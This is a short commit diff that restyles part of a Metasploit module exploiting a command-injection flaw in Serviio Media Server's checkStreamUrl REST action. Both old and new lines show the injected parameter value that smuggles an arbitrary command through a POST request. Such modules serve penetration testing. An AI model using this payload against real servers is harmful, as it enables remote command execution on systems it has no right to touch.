Update style

Author: bcoles

modules/exploits/windows/http/serviio_checkstreamurl_cmd_exec.rb

@@ -85,13 +85,11 @@ def check
   end
 
   def execute_command(cmd, opts = {})
-    json = { 'name'      => 'checkStreamUrl',
-             'parameter' => ['VIDEO', "\" &#{cmd}&"] }.to_json
-
+    data = { 'name' => 'checkStreamUrl', 'parameter' => ['VIDEO', "\" &#{cmd}&"] }
     send_request_cgi('uri'    => normalize_uri(target_uri.path, 'rest', 'action'),
                      'method' => 'POST',
                      'ctype'  => 'application/json',
-                     'data'   => json)
+                     'data'   => data.to_json)
   end
 
   def exploit